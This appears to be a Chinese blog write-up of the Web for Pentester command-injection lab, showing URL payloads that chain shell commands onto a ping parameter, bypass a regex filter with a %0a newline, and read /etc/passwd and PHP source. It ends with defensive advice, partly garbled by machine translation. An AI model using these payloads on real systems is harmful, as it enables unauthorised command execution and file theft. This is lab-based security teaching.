web for pentester之command injection

web for pentester之命令执行漏洞

(命令执行漏洞)
开启pentester虚拟机:
web for pentester之command injection_第1张图片

开启之后,输入ipconfig查看虚拟机ip地址;我这里虚拟机的ip地址为192.168.145.131;

在物理机上的Firefox地址栏中输http://192.168.145.131

进入web for pentester主页:

web for pentester之command injection_第2张图片

点击选择Commands injection(命令执行)测试:

windows支持:

|
ping 127.0.0.1|whoami

||
ping 2||whoami (哪条名令为真执行那条)

& &&
ping 127.0.0.1&&whoami

选择example1:

Example1:
web for pentester之command injection_第3张图片

url 为http://192.168.145.131/commandexec/example1.php?ip=127.0.0.1

显示的是ping 127.0.0.1的内容,只ping了2次。

考虑到服务端代码可能为system(“ping -c 2”.$ip);

那么$ip用等符号间隔可再多执行些命令。可用;,,,&,&&,等,这其中有的需要第一个命令报错才执行第二个命令。
http://192.168.145.131/commandexec/example1.php?ip=127.0.0.1; ! ls
web for pentester之command injection_第4张图片

http://192.168.145.131/commandexec/example1.php?ip=127.0.0.1; ! cat example1.php
web for pentester之command injection_第5张图片

http://192.168.145.131/commandexec/example1.php?ip=127.0.0.1; ! cat /etc/passwd
web for pentester之command injection_第6张图片web for pentester之command injection_第7张图片

http://192.168.145.131/commandexec/example1.php?ip=127.0.0.1%26%26cat
/etc/passwd (//%26是&的urlencode)
web for pentester之command injection_第8张图片
web for pentester之command injection_第9张图片

http://192.168.145.131/commandexec/example1.php?ip=1127.0.0.1%26cat
/etc/passwd
web for pentester之command injection_第10张图片
web for pentester之command injection_第11张图片

http://192.168.145.131/commandexec/example1.php?ip=1127.0.0.1cat
/etc/passwd (//ab,必须是a报错b才能执行)
web for pentester之command injection_第12张图片

Example2:
web for pentester之command injection_第13张图片

url为http://192.168.145.131/commandexec/example2.php?ip=127.0.0.1,显示的与之前的一样。
web for pentester之command injection_第14张图片

先用;ls试,显示Invalid IP
address,说明对ip提交的值进行了过滤,应该用了preg_grep等,希望使用了/m参数,用%0a进行截断试试。

http://192.168.145.131/commandexec/example2.php?ip=127.0.0.1 ls

web for pentester之command injection_第15张图片

http://192.168.145.131/commandexec/example2.php?ip=127.0.0.1 cat
example2.phpweb for pentester之command injection_第16张图片
成功。
查看源代码:
web for pentester之command injection_第17张图片

以后用preg千万别用/m,/e,但多用/i。

Example3:
web for pentester之command injection_第18张图片

url为http://192.168.145.131/commandexec/example3.php?ip=127.0.0.1,显示的与之前的一样。
web for pentester之command injection_第19张图片
web for pentester之command injection_第20张图片
web for pentester之command injection_第21张图片
web for pentester之command injection_第22张图片
web for pentester之command injection_第23张图片
web for pentester之command injection_第24张图片
web for pentester之command injection_第25张图片
web for pentester之command injection_第26张图片

分别尝试了各种符号连接和%0a,包括把ip写成其它的,都显示ping通了。

查看源代码:

f (!(preg_match(’/^\d.\d.\d.\d$/’,
$_GET[‘ip’]))) { header(“Location: example3.php?ip=127.0.0.1”);

原来是如果ip不是ip地址格式,则跳转到ping 127.0.0.1。

这个地方如果用burp抓包:
web for pentester之command injection_第27张图片

能抓到两个包。第一个包302,但是执行命令成功的,能把后续的ls或cat发回客户端,但马上被第二个正常ping的包覆盖后显示了。

命令执行漏洞的一些安全建议:

  1. 尽量不要执行外部命令。
    
  2. 使用自定义函数或者函数库来代替外部命令的功能。
    
  3. 使用escapeshe||arg函数来处理命令参数。
    
  4. 使用safe_mode_exec_dir指定可执行文件的路径。(safe_mode_exec_dir指定路径时可以把会使用的命令提前放入此路径内。)
    
  5. 应用程序防御命令注入漏洞,通过做正确的输入验证和消毒。 开发人员必须考虑所有情况下,应用程序调用一个壳状系统功能,如执行或系统,避免执行,除非参数被正确地验证和消毒。 有两种可能的方法来验证这些参数:使用黑色列表或使用白名单。黑名单检查,然后才允许执行恶意模式。 命令注入的情况下,一个黑色的命令列表可能包含分隔符,如分号(;)垂直划线(|),双破折号(| |),双放大器(&&)危险的命令,如RM,CP,猫,LS,在净参数,netstat,DEL,复制等, 但是,一个主要的缺点阻碍了这种对策是有效的,除非黑名单绝对是所有涉及危险的可能性,攻击者可以找到以外的黑名单的变化,来进行攻击。  白名单与安全执行模式匹配, 如果有问题的数据不匹配任何安全模式,这是不允许的。 这危险的构造,因为任何新的(恶意)结构的新变化,不符合安全的解决了这个问题一种是系统自动封锁。 一个共同的方式来实现白名单是相匹配的输入与安全的命令格式的正则表达式表示。 然而,复杂的正则表达式可以写和解释。 开发人员必须确保他们了解如何编写和解释正则表达式之前实施这一防御。
    

你可能感兴趣的:(命令执行漏洞)